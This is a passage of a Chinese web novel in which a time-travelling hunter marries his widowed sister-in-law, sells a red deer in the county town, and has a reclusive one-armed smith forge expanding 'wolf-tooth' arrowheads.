天黑了,村民们都不敢进山,只有裴红玉胆子大,答应进山找薛猛!
可要是他们真遇上那吃人的妖怪可怎么得了!
林雅娴揪着心,心里乱得跟麻线团一样。
如果说之前她对薛猛好,纯粹是要报答薛家当年的恩情。
可自从她和薛猛好上之后,心思就变了。
薛猛已经在她体内留下不可磨灭的痕迹。
在她心里,薛猛成为了她不可或缺的一部分!
她不能失去薛猛!
“嫂子!”
就在林雅娴急得眼泪都快掉下来时,薛猛爽朗的笑声从前方传来。
林雅娴娇躯一震,连忙抬眸看去。
卧虎山在晨曦中渐渐苏醒。
薛猛满脸是血,身背长弓,打着火把,迈着阔步向她走来。
“长根!”
林雅娴顾不上矜持,赶忙迎了上去。
“你受伤了?”
“没有,这是鹿血!”
林雅娴不信,仔仔细细把薛猛身上摸了个遍,确定薛猛没有受伤,这才松了口气。
她一把抱住薛猛,粉拳轻轻擂着薛猛后背,哭得梨花带雨:“长根儿!你个没良心的,我不是让你早去早回吗?你在山里待这么久,你知道嫂子有多担心你吗?”
“万一你出了事,让嫂子怎么跟你大哥交代!”
“咳咳,嫂子,我这不是没事吗?”
“我的天,这么大的鹿子!”
就在这时,旁边传来村民的惊呼。
林雅娴转眸看去。
只见裴红玉扛着马鹿走了过来。
村民们纷纷围了上去,十几双眼睛在火光照耀下,写满震惊,口中啧啧称奇。
“这么大的鹿子!得有两三百斤吧?”
“何止!估摸得有四五百斤!”
“我的天,这么多肉,得卖多少钱呐!”
“鹿肉算什么,这鹿茸才值钱呢!”
“裴姑娘,这是你打的?你可太有本事了!”
裴红玉摇头,一指薛猛:“不是我打的!是薛猛打的!”
“啥?!”
此言一出,众人两眼一瞪,以为自己听错了。
这么大头马鹿,居然是薛猛打的?
这可太出人意料的!
“长根儿,这是真的?”
林雅娴美眸圆睁,愣了好一会儿,还是不敢置信,这么大的马鹿,居然是自家这个不成器的叔叔打的!
薛猛不以为然,轻笑道:“嫂子,我说过,我要养你!”
“等明天,把这马鹿换了钱,我给你买布料做新衣裳!”
“我要完成大哥的遗愿,明媒正娶,娶你做我媳妇儿,为我薛家开枝散叶!”
林雅娴霞飞双颊,羞得无地自容,娇嗔道:“长根儿,你胡说什么呢!”
当着这么多村民的面,说出这等话来,以后他们叔嫂可怎么见人?
然而薛猛却是毫不避讳,一把握住了林雅娴的手,拽着她来到了徐守业面前。
林雅娴心中小鹿乱撞七上八下,这小叔子,今晚是要干啥?!
“徐伯!都怪我没跟我嫂子说好,还麻烦你们大晚上的,跑来找我!”
“既然大家都在这儿,那我正好说个事儿!”
“实不相瞒,我大哥曾经留下遗嘱,将嫂子托付于我。”
“以前我薛猛少不更事,做了许多糊涂事,辜负了大哥期望,愧对了嫂子!”
“身为堂堂一个七尺男儿,却要靠嫂子接济,苟且偷生。”
“今日,当着您老和大伙儿的面,我薛猛索性把话说开!”
“我薛猛,已经不再是往日的薛猛!”
“我,要娶雅娴为妻!”
“请徐伯做个见证!”
说完,薛猛一把搂住林雅娴的小腰,对着她的樱红小嘴当众来了个深情拥吻。
林雅娴双脚掂起,脸红如血,一颗心几乎快要蹦出嗓子眼。
“这……”
当村民们意识到发生了什么,已经来不及了回避了,全都看得目瞪口呆。
这些封建保守的古人,哪里见过当众拥吻这么刺激的场面!
徐瑾儿捂住通红小脸,压根不敢看,但心里又想看,所以只能透过手指缝偷偷看。
便是一向冷面示人的裴红玉,脸上也是飘起一抹红云。
慌忙别过头去,假装看天空,心中暗骂薛猛是头牲口!
偷看本姑娘洗澡就算了,居然连自家嫂子也不放过!
刚才真不应该进山找他,就让山里妖怪把这流氓吃掉才好!
“咳咳……小叔子续娶寡嫂,倒也合乎情理!”
徐守业虽然也是被薛猛这波操作吓了一跳,但他很快就镇定下来,捋着胡须笑呵呵道。
“这也算是,为我卧虎村的人丁兴旺添砖加瓦!”
“依老夫看,你们叔嫂俩还挺有夫妻相,正是天造地设的一对儿!”
“天快亮了,大伙儿先回去补觉吧!”
“睡醒了,老夫带你去县衙户房登记婚契!”
“回头找个良辰吉日,咱好好庆祝庆祝!”
“结婚嘛,总还是得热闹一下!”
“好好好!”
一听说有喜酒喝,村民们连连叫好。
徐守业一番话,算是把薛猛和林雅娴的婚事,敲定了下来。
林雅娴喜极而泣,心里百感交集,抬头望向天空。
薛勇啊,你在天有灵,看见了吗?
咱们家长根,有出息了!
他真的长大了,成了个能顶门立户的男子汉了!!
第11章 第一次进城
“长根儿,你真棒!是嫂子之前小瞧你了!”
回到家。
林雅娴马上开始着手处理马鹿,看着红彤彤的鹿肉,林雅娴乐得嘴都合不拢来。
看着林雅娴那白里透红的俏模样,薛猛浑身都燥热了起来。
一把搂住林雅娴的小腰,将林雅娴扛上肩头,就往屋里走。
进屋后,把林雅娴往床上一扔,薛猛反手就把门反锁了。
“长根儿,你要干啥?”
林雅娴被薛猛搞得心里七上八下,有些紧张害怕,又有些莫名期待。
“还叫长根儿!”
“该改口了吧?”
被薛猛抓住粉润大腿,林雅娴满脸娇媚,声音怯怯,叫了声:“相公,轻些。”
喝了鹿血后,薛猛干起狠活来更加凶狠了。
林雅娴一声大吼,翻着白眼昏了过去。
而薛猛仍旧精神百倍。
不忍心再折腾林雅娴,索性下床,继续处理马鹿。
鹿肉,鹿皮,鹿血,各有各的价钱,得分开卖。
鹿筋留着另有用处。
最重要的,还是鹿茸!
鹿茸这东西,春夏开始长,过了秋天,就会逐渐硬化变成鹿角。
再想割鹿茸,就得等到冬天鹿角自然脱落,来年开春才能长出新的鹿茸。
这头马鹿正值青年期,如今又正是初夏季节,正是鹿茸长得最好,药效最佳的时候。
薛猛割下鹿茸后,在切口处涂抹了少量蜂蜡。
这么做是为了封闭切口,隔绝空气,防止药性流失。
然后用细麻绳轻轻捆住鹿茸主干,挂在房檐下。
做完这一切,薛猛回房补了个觉。
“瑾儿,你怎么了。”
从卧虎山回来后,徐守业注意到,自家女儿似乎不太对劲。
“没,没什么。”
徐瑾儿想起薛猛和林雅娴亲嘴的画面,小脸通红,目光躲闪,扭身进了卧房。
徐守业捋了捋胡须,老眸微眯,不知想到些什么,呵呵笑了起来。
“这丫头,也到了情窦初开的年纪了。”
“是该给她物色婆家了。”
……
“长根儿,天不早了,咱们得赶快去县衙户房登记婚契,过了晌午户房就不给办了!”
辰时,徐守业敲响了薛家院门。
薛猛连忙起身,收拾好东西,打开院门。
“徐伯,咱们走路去?”
洪雅县可不比白虎乡,远着呢!
四百斤的马鹿,怎么弄过去,还真是个问题!
徐守业一指门外:“这不,我寻思你不得去县里卖鹿吗?给你借了辆骡车过来!”
门外大树边,停着一辆骡车,还有一头驴,那驴时不时踹骡子一脚,骡子被欺负了也不敢吭声。
“行,还是徐伯你考虑得周到。”
“那咱们这就走吧!”
徐守业真是帮大忙了。
之前借鸭毛,现在又借骡车。
薛猛心里暗自发誓,等赚了钱,一定要报答这份恩情。
这年头,能够雪中送炭的人太少了!
“长根儿,你觉得我家瑾儿怎么样?”
薛猛赶着骡车快到洪雅县城的时候,骑着驴子的徐守业,突然凑上前来问道。
薛猛闻言一愣,虽然不知道这老头儿为什么突然问这个问题,但也没多想,随口说道:“天真活泼,古灵精怪,挺可爱的。”
徐守业满意一笑:“那你把她娶了做小妾吧。”
听到这话,薛猛差点没一口唾沫呛死。
“徐伯!你说啥胡话呢!瑾儿妹子才多大,这玩笑可不兴开啊。”
徐守业却是不以为然,拿起腰间挂着的酒壶,往嘴里甩出几滴残酒,有滋有味地砸吧着嘴。
“这有啥嘛,当初瑾儿她娘嫁给我的时候,比我小二十岁呢!”
“男人嘛,这辈子总要多经历几个女人。”
“就我老徐这样的,也娶过四房婆姨呢,瑾儿她娘,是我几个婆姨里最润……啊呸!最小的!”
“可惜生瑾儿的时候大出血走了,瑾儿打小没娘,怪可怜!”
“掐指一算,瑾儿她娘也走了十五个年头了,这小丫头也到了情窦初开的年纪,不是穿开裆裤的小娃娃了。”
“我能看出来,这丫头对你有意思,她瞅你的眼神,跟看别的男人不一样。”
闻言,薛猛脑海中不由得浮现出徐瑾儿小脸通红的扭捏样子。
“徐伯,婚姻大事非同儿戏,此事还是回去当着我嫂子还有瑾儿的面,慢慢商议吧。”
“商议个屁,你们仨自个进被窝里商议去!”
“反正我只当你同意了,从现在开始,徐瑾儿就是你的小老婆,我就是你老丈人,你自己看着办吧!”
“我去县衙给你们登记婚契。”
“你自己去卖鹿子吧!到东市肉庄和盛堂,报我徐守业的名字,能让你少上点当!”
说完,徐守业一拍驴屁股,绝尘而去。
薛猛无奈苦笑。
这叫啥事儿!
自己刚和嫂子确定关系,又要他纳妾?
算了,不想了,还是卖鹿要紧。
“驾!”
薛猛挥舞鞭子,赶着骡车向前冲去。
进入洪雅县内,和郊外黄泥地不同,街面全是石板铺就,规整干净,身穿绫罗绸缎的男男女女,有说有笑,络绎不绝。
街道两旁的商户繁荣,不少引车卖浆的小贩,沿街叫卖。
“莲花饼餤,可甜可咸,好吃不贵,快来买啊!”
“槐叶冷陶,清凉可口,小姐,来一碗解解暑气吧!”
这是薛猛穿越到这个世界以来,第一次进城,看什么都觉得稀奇。
虽然远远比不上前世的繁华大都市,但和村民连饭都吃不上的卧虎村比起来,洪雅县确实算得上繁荣了。
真应了那句话,不管哪个时代,都有人吃香喝辣。
一面是残垣断壁,一面是灯红酒绿,贫富差距从来都是巨大的。
薛猛四处向人打听,穿过熙攘街道,总算寻到徐守业说的东市肉庄。
一进肉庄,薛猛愣住了。
这里面各种山货野物,琳琅满目。
不愧是洪雅县最大的肉庄,比白虎乡那破山货铺气派多了!
“掌柜的,你知道和盛堂在哪儿吗?”
薛猛朝一个摆摊卖假虎鞭的摊主打听道。
薛猛这声掌柜的,把小摊摊主听美了:“小兄弟,你去和盛堂干啥?那可是整个东市肉庄最大的山货行!”
“就在前面,你走过去看见那个御赐的牌匾就到了!”
“不过我可提醒你,和盛堂的眼把头眼睛跟开了光一样,没有真材实料的尖货,连他们的门槛都踏不进去!”
“多谢指路。”
薛猛拱了拱手,赶着骡车顺着摊主所指方向走去。
望着薛猛的背影,摊主摇摇头:“又是个不听劝的!”
旁边卖假三七的同行,手抄在袖子里,撇嘴道:“你搭理他干嘛?这青皮小子一看就是初来乍到,不知天高地厚。”
“能迈进和盛堂门槛的,不是经验老到的跑山客,就是搜山问药的药夫子!”
“我打赌,这小屁娃娃去了准吃闭门羹!”
另外一个卖假羚羊角的同行,接茬道:“不新鲜!咱们当年不也和这小年轻一样,自以为弄到些山货,就妄想跨入和盛堂的门槛?”
“和盛堂收的东西,那可是要上贡给朝廷太医院的!要是随便什么阿猫阿狗都能进去,还不乱了套!”
“看着吧,不出一盏茶功夫,这小子就得被和盛堂的护宝红棍丢出来!”
第12章 和盛堂
“这就是和盛堂,真气派啊!”
站在和盛堂门前,薛猛打眼一看,不由一怔。
只见和盛堂门边左右朱红门柱上,写着一副对联。
“搜山擒虎扒皮,炼成壮骨金丹。”
“踏海寻龙摘胆,炮制定心妙药。”
门楣之上,横匾高悬。
泥金大字,遒劲有力,写着三个大字。
和盛堂!
薛猛拎着用草绳捆着的鹿尾,径直走向和盛堂。
没想到,还没来得及跨入和盛堂门槛,就被两名手持红漆棍,身形孔武的汉子挡住去路。
“你是何人?和盛堂只做熟客生意,生人不得擅入!”
“二位大哥,我是徐伯徐守业介绍来的!”
薛猛这才想起,徐守业说过,和盛堂有护宝红棍看场,来了和盛堂得先报他的名字。
“什么徐守业,从来没听过!”
“赶快离开!否则我们对你不客气!”
两名看场红棍面色不善,仿佛薛猛若是再向前一步,他们就要动手了。
“就是卧虎村村长徐守业!”
薛猛此言一出,两名红棍依旧面无表情。
“小兄弟,别闹了,什么村长乡长,在这儿都不好使!和盛堂不是谁都能进去的!”
“没有三十年跑山经验,甭想跨进和盛堂门槛!”
身后响起一声嗤笑。
薛猛一扭头,只见周围一群人都笑呵呵地看着他。
有买卖山货的摊主,也有跟他一样来卖货的跑山客、猎户、采药人。
大家都像看笑话一样看着他。
“卖个货,还得看经验?切,有什么了不起,大不了换个地方卖!”
薛猛对自己骡车里的“货”很有信心,随便找个铺子卖,价钱也不会太低。
要不是徐守业介绍,他才不会来这什么和盛堂。
但没想到,人家压根不认识徐守业!
或许是徐伯记错了吧?
回头问问去。
“慢着!”
就在薛猛准备赶着骡车离开时,一个身着青袍,眼窝深陷,目露精光的老者快步从和盛堂走了出来。
两名红棍见到来人,纷纷恭敬低头喊道:“雷把头!”
雷把头叫住薛猛,问道:“小伙子,你刚才说,谁介绍你来的?”
薛猛回道:“徐守业!”
听见徐守业的名字,雷把头啧了一声,抬手朝两个红棍头上拍了两巴掌:“你们两个瞎货,差点得罪了贵客!”
“啊?贵客?”
别说两个红棍懵了。
就连薛猛自己都有些摸不着头脑。
咋回事?
刚才不还不准我进去吗?现在怎么就成贵客了?
“快快快,小兄弟,快请进!”
雷把头连忙将薛猛请进了和盛堂。
看到和盛堂的雷把头,居然亲自将薛猛请进了和盛堂!
先前嘲笑薛猛不知天高地厚的那些摊主和跑山客,全都傻眼了。
这可真是奇了嘿?
“湘儿,快给贵客沏茶!”
店内帮闲丫头,打量了一番薛猛,见他穿得破衣烂衫,跟山里野人一样,愣了半晌,心说这是哪门子贵客?
但既然是雷把头发话,她只能照办。
“小兄弟,请坐!”
落座后,雷把头对薛猛问道:“老夫雷遇明,徐守业是我的一位老哥哥了,多年不见,他现在何处?还好吗?”
薛猛愣了愣,没想到徐守业一个小小的村长,居然在县里还真有些人脉?
“哦,原来是雷叔!我叫薛猛,徐伯他还挺精神的!”
雷把头笑了笑:“那就好!薛小兄弟,不知你此来所为何事啊?”
他这话自然是明知故问,实际上薛猛刚进来,他就已经注意到薛猛手里的鹿尾。
“打了头马鹿,想找个有实力的买家!”
“呵呵,那你算来对地方了。整个洪雅县,没有比和盛堂更有实力的山货行了!”
“虽然你是徐兄介绍来的,但我作为和盛堂的眼把头,还是得先验验货!毕竟,咱们这和盛堂,跟平常的山货行可不一样,是给上面供货的。”
雷把头指了指天。
薛猛点点头,表示理解。
“您老掌眼!”
雷把头接过鹿尾,看了看,点头道:“嗯,这马鹿个头不小啊,得有四五百斤吧。”
“把头好眼力!”
“全带来了?”
“对,在骡车上,我怕招摇过市被人惦记,用稻草盖着呢!”
“不错不错,小小年纪办事儿妥当。来人,卸货!”
几名帮闲伙计,将骡车上的稻草掀开,四百斤的马鹿,顿时显露无疑。
周围跑山客和摊主纷纷探头探脑上前围观,啧啧称奇。
“没看出来啊,这小年轻真有门道!”
“骡车上居然藏着这么大头马鹿!”
“可有些日子没见着这种尖货了!”
“难怪雷把头对他另眼相看!”
马鹿被抬进和盛堂,坐着喝茶的雷把头,也是坐不住了。
一眼就相中了那对鹿茸!
拿起来看了看,赞不绝口。
“不错不错,分叉均匀,肥嫩带血,堪称上品啊!”
“处理得也是相当到位,还知道用蜂蜡封住切口,难得啊!”
“咦,这桶里是鹿血吧?”
帮闲丫头湘儿,端着茶路过,指着木桶好奇问道。
薛猛回道:“对,是鹿血,我加了黄酒,所有还没有凝固!”
“妙妙妙!如此一来,既可以中和腥味,又能延长鹿血的保存时间!”
雷把头满脸感慨:“这是老跑山客才能掌握的经验,你小小年纪,居然懂得这个法子,今天算是让老夫捡着宝啦!”
在和盛堂当眼把头这么多年,雷遇明什么大货没见过?
区区一只马鹿,在他眼里也算不得什么宝贝。
他说的宝贝,是薛猛这个人!
如今山货行,鱼龙混杂,弄虚作假者数不胜数。
以前给和盛堂供货的老跑山客,年岁又大了,大都干不动了。
一个年轻、懂行,有真本事的跑山客,远比一头马鹿更加值钱!
“薛兄弟,你开价吧,这鹿茸、鹿血、鹿肉、鹿皮,我全包了!”
雷把头先前对薛猛礼遇有加,完全是看在徐守业的面子上。
但现在,他是真的想要结交薛猛!
薛猛挠了挠头:“雷叔,咱也不是外人,你看着给吧!”
第一次进城卖货,薛猛其实也没了解行情。
就只知道,鹿茸值钱!
但是到底值多少,他心里其实也没数。
第13章 薛猛比马鹿值钱
“这样吧,鹿茸,我每斤给你算8000文。”
“鹿血,每斤1000文。”
“鹿肉,每斤500文。”
“鹿皮就不说了,一张算3000文。”
“行的话,马上上秤!”
薛猛轻笑点头:“行,就这么着吧!”
这个价钱,已经超出了薛猛的预期,还要啥自行车?
店里过秤伙计,高声喝道:“柜上记账!鲜鹿茸重六斤,估价四万八千文!”
“鹿血重十七斤,估价一万七千文!”
“鹿肉重两百斤,估价十万文!”
“鹿皮一张,估价三千文!”
“鹿尾儿重八两,估价六千文!”
“鹿筋……咦?没有鹿筋!”
“大宗山货卧虎山道地马鹿,总价十七万四千文!”
“折合银子,一百七十四两!”
鹿肉是食材,鹿皮是皮料,价格稍低。
鹿茸和鹿血是药材,价格比较高。
但这些都比不上鹿尾!
鹿茸、鹿血,不用杀死鹿就能多次获取,而鹿尾这辈子就一条,割了就没法再生了。
只有大虞皇室贵胄才能享用!
对于这个价格,薛猛心满意足,昨晚付出的所有辛苦都值得了!
寻常农户辛苦劳作一年下来结余也不过三四两。
一百七十四两,要攒大半辈子!
还得年景好才行!
如今大灾之年,这笔钱,很多农户一辈子都赚不到!
“薛小兄弟,慢走啊,下次再打到大货,只管送来,咱和盛堂来者不拒!”
目送薛猛赶着骡车扬长而去,雷遇明挥着手,笑得合不拢嘴。
哪怕他有意结交薛猛,刻意给薛猛溢了价,但和盛堂也绝不会亏本。
尤其是鹿尾和鹿茸,品相都很高,经过和盛堂秘法炮制,上贡给朝廷,价格最少翻三四倍。
“湘儿,下回薛小兄弟再来,把老夫珍藏的君山银针好好沏上一壶,放机灵点,知道吗?”
“徐老哥哥这是给我送了个大宝贝来啊,不过这小子太精了,居然把鹿筋给抽了!”
雷遇明搓着手,老眸精芒闪烁,期待着再次见到薛猛。
……
“徐伯,你和雷把头到底怎么认识的?”
大街上,徐守业牵着驴,走在前面,薛猛赶着骡车紧随其后,忍不住问道。
他实在想不通,和盛堂的眼把头,居然真和眼前这个小老头儿有交情,而且好像交情还不一般。
“当年的事情,不提也罢。”
徐守业却是满脸不在乎:“货卖了吧?他没坑你吧?”
“那哪能啊!我一提你的名字,雷把头对我可热情了!还向我打听您的身体。”
薛猛咧嘴笑道。
“哼,算他老小子有点良心!对了……”
徐守业捋了捋胡须,从随身布袋里取出一沓文书,递给薛猛:“婚契已经在衙门登记了,现在你和你嫂子,哦不,是娘子,已经是官府认可的合法夫妻了,大胆造娃吧!”
“谢谢徐伯!这是一点心意,您收着!”
接过文书的同时,薛猛将一两银子塞到了徐守业袖子里。
“搞这些做什么,这都是我这个当村长的,应该做的!”
徐守业嘴上虽这么说,身体却很诚实。
银子嘛,谁不喜欢?
就当未来女婿,孝敬老丈人了!
薛猛又道:“徐伯,你认识的那个老朋友,真的可以帮我打造狼牙箭头吗?”
有了钱,薛猛最想做的事情,自然是打造属于自己的箭头。
老是借用裴老猎户家的箭头,也不叫个事儿。
更何况,裴家的箭头,威力实在有限。
若是在山里遇上猛兽,只怕是有些不济事!
大虞常见的箭头有三种。
裴红玉家的箭头是典型的锥形箭头和柳叶箭头。
前者优点是造成的伤口小,出血量少,很适合用来捕猎野兔这类小型哺乳动物。
后者形如柳叶,靠两侧刃部划开皮肤肌肉,威力比锥形箭头略胜一筹,可以捕猎马鹿这类体型较大但是攻击力比较弱的猎物。
若想对付虎豹狼熊这类猛兽,必须用三棱形箭头,这种箭头有三个棱边,穿透力和破坏力位居三种传统箭头之首,配上强弓,力可穿甲。
正因为这种箭头威力太强,大虞民间对这种箭头管制颇严,只允许军中使用!
但,这根本难不倒薛猛。
作为一个实战经验丰富的特种兵,又从小出身在医武世家,家学渊源使得他对冷兵器也涉猎颇深。
既然大虞不允许使用三棱箭头,其他两种箭头威力又不够,他就打造一种大虞人从来没见过,但是威力惊人的箭头。
也就是……狼牙箭!
徐守业眯了眯眼:“我不知道你说的狼牙箭头是什么,但是,如果天底下有人能够打造,那就只能是那家伙了!”
“不过你最好做好心理准备,这家伙性情古怪,他愿不愿意帮你打兵器,就看你的造化了!”
“到了…”
徐守业似乎对洪雅城的布局十分熟悉,带着薛猛穿过两条街道,七拐八绕,来到了一个胡同。
与别处的喧嚷热闹不同,这里显得格外冷清。
胡同口,有一棵大槐树,树下有一处铁匠铺子。
火光照亮了铺面,叮叮铛铛打铁声,震天价的响。
几个和薛猛年纪相仿的光膀子壮汉,正专心打制铁器。
而一个穿白袍的干瘦老者,面色严肃,背着一只手,在后面督促他们,时不时指点几句。
之所以背着一只手,是因为他只有一只手。
过了一会儿,白袍老者拿起一把半成品镰刀,看了看,眉头皱得老高。
随手丢在地上,冲一个壮汉喝道:“罗飞,你踏马干什么吃的!这把又废了,重打!能干干,不能干给我滚,老子这儿不养饭桶!”
徐守业牵驴上前,捡起地上的镰刀,啧啧赞叹:“这么好的镰刀,放别的铺子都算上品了,至少要卖五十文。”
“到你老白头这儿,却成了废品?当你徒弟,真是倒八辈子霉!”
“你是何人?我师父骂我,是为我好!干你何事!”
先前被白袍老者臭骂的壮汉,瞪着一双牛眼,反倒维护起白袍老者。
“把嘴闭上,干你的活去!”
白袍老者训斥了壮汉一句,随后迈步来到徐守业身前,伸出唯一的那只手,捏了捏驴脸。
“瞧瞧,都把我驴哥瘦成什么样了,做你老徐的驴,才是倒八辈子霉。”
“说吧,哪阵风把你给吹来了?”
“不在书馆教那帮公子哥念四书五经,跑我这儿干什么,我可没酒给你喝。”
“我早就不在县里书馆教书了!至于酒,我自己有……”
徐守业取下腰间酒壶,扯下酒壶塞,一股醇甜酒香四溢而出。
“哟,这气味,是常三茶馆掌柜私藏的玉壶春吧?还是满的?”
白袍老者眼前一亮,伸手来抓酒壶。
徐守业连忙把酒壶缩了回来,一把搂住薛猛肩膀,朝白袍老者炫耀道:“嘿嘿,想喝呀?想喝自己买去!我这一壶,可是我女婿孝敬我的!”
女婿?
薛猛闻言一愣,他刚才的确给徐守业打了一壶酒。
但,那是感谢徐守业帮他借骡车,又带他进城卖货。
怎么就成女婿孝敬老丈人了?
第14章 大杀器狼牙箭
白袍老者眉头一皱,瞅了眼薛猛:“就他?”
“这才几年不见,老徐你的眼光什么时候这么差了。”
“你但凡把你女儿嫁个什么文秀才武举人,也算说得过去,可你居然把女儿交给这种货色,你心够大的。”
白袍老者丝毫不顾及薛猛的感受,嘴巴像淬了毒的利箭。
薛猛嘴角一抽,徐伯不是说这铁匠铺的老白头是他老朋友吗?
怎么一见面两人就互呛起来了?
我也不差吧,什么叫这种货色?
“老白头,你踏马把嘴给我放干净点!”
薛猛嘴上没说什么,徐守业却当场跳脚,破口大骂起来:“我这女婿,能干着呢!比那些只会念书的书呆子,强多了!”
“得得得,别跟我扯东扯西!”
白袍老者满脸不耐烦,摆手道:“你是无事不登三宝殿,说吧,到底干啥来了?”
“总不能为了打把镰刀,专程跑来找我吧?”
徐守业揣手道:“我想给我女婿打一副好兵器,叫什么……狼……什么来着?”
“狼牙箭!”
薛猛补充道。
“啥玩意儿?!”
一听到“兵器”二字,白袍老者顿时脸色大变。
连忙左右看了看,确定没有路人经过,这才把徐守业拽到角落,声音压得极低:“你知道现在上面对兵器管得有多严吗?”
“我知道。”徐守业淡定点头。
“你既然知道,还让我打兵器?纯心想害死我是吧?”
白袍老者满脸气愤,一副要和徐守业划清界线的架势。
徐守业却是耸肩冷笑,仿佛早已看穿一切,意味深长道:“老白头,都是一个庙里的和尚,别跟我念歪经。”
“你骗得了别人,骗得了我老徐?”
“咱们赌十两银子,你地窖里要是没有藏着刀枪剑戟,我以后跟你姓。”
“你……”
徐守业轻描淡写的一句话,直接把白袍老者整破防了。
薛猛在一旁静静看着,从白袍老者的面部表情变化,不难看出,很显然徐守业又说中了!
这个看上去平平无奇的铁匠铺,暗藏玄机啊!
“祖宗,你到底想干啥?”
白袍老者口气顿时软了下来,满脸没奈何地看着徐守业。
“不想干啥,就想让你帮我女婿打几个狼牙箭头打猎用。”
白袍老者为难道:“我从没听说过什么狼牙箭头,怎么帮你?”
徐守业扭头看向薛猛。
薛猛当即从口袋里掏出提前准备好的银子,白袍老者见了银子,挑眉问道:“有图纸吗?”
“有!”
早在薛猛处理雁翎箭羽之前,他就已经画好了狼牙箭头的设计图纸,只不过苦于囊中羞涩,没有钱找铁匠打造这种箭头。
箭羽决定射程和准星,箭头则决定箭的破坏力!
若是有了狼牙箭头,自己就算在山里遇上豺狼虎豹,也不用再怕了!
“白师傅,您掌眼。”
薛猛从衣兜里摸出一块叠成方块的麻布,递到白袍老者手里。
白袍老者展开用麻布绘制的设计图,只看了一眼,便皱起了眉头。
再仔细一看图纸上的小字备注,越看越是心惊胆跳。
看到最后,忍不住倒吸一口凉气,只觉头皮发麻,惊为天人!
“这图纸,是你画的?”
他抬起头,难以置信地望向薛猛。
薛猛点头。
白袍老者惊了。
他实在无法相信,这么牛叉吊炸天的东西,居然出自一个没毛后生之手!
这东西,若是出现在战场上,那简直就是收割人命的大杀器!
就是犀牛、老虎,也扛不住这玩意儿啊!
别说见了,在今天之前,他连听都没听过。
“他奶奶的!这活儿我白淳罡接了!”
白袍老者如获至宝,连忙将图纸小心叠好收入怀中。
眼中再也没了先前的敷衍和为难,只有对图纸上兵器的渴望:“就是不要钱,老子也干!”
“老徐,我收回之前的话,你他娘眼光不但不差,还相当毒辣……你这女婿,还真有点说法!”
白袍老者那张臭脸上,罕见地出现了笑容。
他狠狠拍了拍徐守业的肩膀,随即转身,扯着嗓子冲几名徒弟吼道:“所有人听着!手里的活全部放下,跟我进地窖!”
“今晚不把这狼牙箭弄出来,谁都不准睡觉!”
几名壮汉闻言,纷纷停下手里的动作,跟着白淳罡进了铁匠铺后院。
薛猛和徐守业对视一眼,也连忙跟了上去。
铁匠铺后院里,果然有一个地窖,地窖入口用木板盖着,从外表看就和普通人家储存酒坛子的地窖差不多。
但当老白头掀开木板后,薛猛却发现,里面别有洞天。
果然如徐守业所料,里面简直就是一个武器库。
“你们就别下去了。”
“在上面睡觉别睡太死,若有官差查铺,就拽这根绳子,绳子下面连着铃铛,铃铛一响,我们就上来。”
老白头满脸警惕,对薛猛嘱咐了一番,随后迫不及待地带着徒弟们下了地窖。
见老白头跟打了鸡血一样,徐守业捋了捋胡须,扭头看向薛猛,对薛猛那张图纸愈发感兴趣起来。
“贤婿,看来你那狼牙箭头,来头不小哇,看把老白头兴奋成那样!我跟他认识几十年,还从来没见过他这幅模样呢!”
薛猛不置可否地笑了笑。
狼牙箭,因其箭镞形似狼牙而得名。
这种箭头本是宋代军用制式箭头,其上分布着多个尖锐的齿状结构,极其锋锐,一旦被这种箭头射中,会形成复杂的伤口,难以愈合。
而薛猛绘制的狼牙箭,是在宋代狼牙箭的基础上,加上现代刀片箭头改良而成。
现代刀片箭头,由多个可折叠的刀片组成,击中猎物后刀片会因为冲击力自动展开,迅速撕裂猎物的肌肉和血管。
这种箭头造成的创口深度和宽度,绝不是传统箭头能比的!
讲究一击致命,致死效率极高,可以撕开厚实的肌肉脂肪层,快速放倒大型猛兽。
薛猛将刀片的形状改成了狼牙状。
如此一来,从外观上看,箭头与普通锥形箭头无异,但射中猎物后,隐藏的狼牙就会因为冲击力展开,像狼一样,狠狠咬住猎物!
这种箭头在工业化时代,制造起来并不困难,但在这个科技落后的封建社会,非能工巧匠不可为!
老白头显然是识货的,只是看了图纸,就知道这东西不凡!
只是,识货归识货,能不能打造出来,那又是另外一回事了。
“徐伯,你这位老朋友,真的靠谱吗?”
对这个脾气很臭的老白头,薛猛心中始终存疑。
不仅是怀疑对方的手艺,更是担心这人,会不会出卖徐守业。
若是他转头把狼牙箭图纸交给了官府或者转卖给别的什么人,可就麻烦了。
徐守业往嘴里倒了一口酒,伸手抹去胡须上的酒液,笑呵呵道:“你呀,别瞎操心了。”
“这老白头,欠着老夫一条命呢!”
“至于手艺,那就更不用担心了,当年我和他同在白虎军麾下效命,全军上下的兵器,大都出自老白头和他的徒弟之手!”
“我还记得,刚认识他的时候,他还只是匠造营的一个小卒,后来靠着一手锻造绝活儿硬是做到了匠造营总管。”
“因他打造兵器速度极快,通宵锻打,仿佛不知疲倦,且质量精良,人送外号‘铁臂神’!”
“就这么跟你说吧,若是连老白头都造不出来的兵器,整个大虞也便没人能造了。”
白虎军?
莫不是当年守国门的那个白虎军?
薛猛还是头一回听徐守业说起当年的事情。
他本来还奇怪,徐守业一个小村长,平时也没见他出村子,怎么对外面的事情这么了解。
原来他年轻时,竟参加过白虎军,那可是整个大虞边军中的精锐,跟北莽骑兵打过不少硬仗!
在大虞连失七座城池,全面溃败的形势下,白虎军硬生生守住了国门,甚至还斩杀了北莽数名大将,夺回了部分失地。
只是不知为何,就在白虎军击退北莽骑兵,锋芒正盛之时,这支精锐突然被朝廷下旨解散。
就连白虎军的首脑,也被押解回京,至今生死未卜。
“徐伯,和盛堂雷把头难道也是白虎军老兵?”薛猛问道。
“对,他当年是军医!害,你看我,跟你提这些当年的破事儿干嘛,都这么多年过去了,白虎军早就不存在了。”
“那什么……天色不早了,睡觉吧!”
说着,一向乐呵呵的徐守业眼底闪过一丝悲凉。
猛灌一口酒,醉醺醺地爬上了一旁的床铺,倒头就睡。
薛猛趴在地窖入口,仔细听了听,什么动静都听不见,看来这地窖隔音效果很不错。
“这还真是个好地方!”
回想起今天发生的这些事情,薛猛不由得会心一笑,若不是徐守业介绍,这种地方他还真找不着!
寻常铁匠铺,也不可能冒着砍头的风险,替他打造狼牙箭。
大晚上的,官差也不太可能来查铺,薛猛在地窖入口守了一会儿,不知不觉困意席卷而来,就靠在椅子上睡着了。
翌日,一缕阳光从木窗外透了进来。
薛猛缓缓睁开双眼,醒了过来。
恰在这时,地窖入口的厚木板被人从下面推开,老白头在徒弟的托举下,爬了出来。
昨晚还斗志昂扬的老白头,经过一夜苦干,嘴唇发白,盯着两个熊猫眼。
